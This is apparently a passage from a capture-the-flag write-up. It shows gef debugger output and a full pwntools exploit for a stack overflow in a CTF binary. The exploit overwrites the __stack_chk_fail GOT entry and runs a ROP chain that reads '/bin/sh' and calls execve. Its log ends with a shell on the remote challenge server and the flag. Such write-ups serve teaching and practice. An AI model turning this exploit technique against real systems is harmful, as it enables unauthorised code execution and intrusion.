$rsp : 0x00007fffffffd970 → "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]"
$rbp : 0x00007fffffffde60 → "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
$rsi : 0x560
$rdi : 0x1c4855
$rip : 0x00000000004bf6b8 → <__ubsan::InitializeFlags()+232> ret
$r8 : 0x00007fffffffd6f0 → 0x0000000000000000
$r9 : 0x0
$r10 : 0x00007ffff7b3fac0 → 0x0000000100000000 → 0x0000000000000000
$r11 : 0x00007ffff7b403c0 → 0x0002000200020002
$r12 : 0x00007fffffffdda0 → 0x0000000000000000
$r13 : 0x1
$r14 : 0x4130634139624138 ("8Ab9Ac0A"?)
$r15 : 0x3363413263413163 ("c1Ac2Ac3"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4bf6b3 <__ubsan::InitializeFlags()+227> pop rbx
0x4bf6b4 <__ubsan::InitializeFlags()+228> pop r14
0x4bf6b6 <__ubsan::InitializeFlags()+230> pop r15
→ 0x4bf6b8 <__ubsan::InitializeFlags()+232> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd970│+0x0000: "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]" ← $rsp
0x00007fffffffd978│+0x0008: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]"
0x00007fffffffd980│+0x0010: "c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5[...]"
0x00007fffffffd988│+0x0018: "Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae[...]"
0x00007fffffffd990│+0x0020: "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
0x00007fffffffd998│+0x0028: "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/gx $rsp
0x7fffffffd970: 0x6341356341346341
Everything’s set up, all that’s left to do is a ropchain to read /bin/sh
into global_buf
and then execve
it :)
ADDRSP110 = 0x4bf6ac
POPRAX = 0x000000000041ea66
POPRDI = 0x000000000041c9ae
POPRSI = 0x000000000041c5ec
SYSCALL = 0x00000000004aaa45
XOREDXPOPRCX = 0x00000000004c400d
XOREDXSYSCALL = 0x00000000004ab5be
log . info ( "Put gadget into global buffer" )
globuf ( p64 ( ADDRSP110 ))
log . info ( "Trigger stack overflow" )
payload = p64 ( 0x48 )
payload += cyclic_metasploit ( 72 )
# read /bin/sh
payload += p64 ( POPRAX )
payload += p64 ( 0 )
payload += p64 ( POPRDI )
payload += p64 ( 0 )
payload += p64 ( POPRSI )
payload += p64 ( e . symbols [ "global_buf" ])
payload += p64 ( SYSCALL )
# execve /bin/sh
payload += p64 ( POPRAX )
payload += p64 ( 59 )
payload += p64 ( POPRDI )
payload += p64 ( e . symbols [ "global_buf" ])
payload += p64 ( POPRSI )
payload += p64 ( 0 )
payload += p64 ( XOREDXSYSCALL )
payload += "/bin/sh \x00 "
payload += cyclic_metasploit ( 1144 + 8 - len ( payload ))
payload += p64 ( 0x4 ) # menu choice
payload += cyclic_metasploit ( 32 )
payload += p64 ( e . symbols [ "global_buf" ]) # strcpy rsi
payload += "A" * 8
payload += p64 ( e . got [ "__stack_chk_fail" ]) # strcpy rdi
payload += p64 ( 0x4fb5c0 )
payload += p64 ( 0xe24aa0 - 0x7f8 ) # _Z12pagefilenameB5cxx11
payload += p64 ( 0x80e1c9e0 - 0x7fff8000 ) # random address to pass check
payload += cyclic_metasploit ( 3000 - len ( payload ))
stack ( payload )
r . recvuntil ( "> " )
r . sendline ( "0" )
r . recv ( 1 , timeout = 0.5 )
r . sendline ( "/bin/sh \x00 " )
[*] '/home/kileak/ctf/line/damn/box'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASAN: Enabled
UBSAN: Enabled
[+] Opening connection to 35.221.91.124 on port 10008: Done
[*] Put gadget into global buffer
[*] Trigger stack overflow
[*] Switching to interactive mode
$ cat flag
LINECTF{damn_y0u_4re_so_good}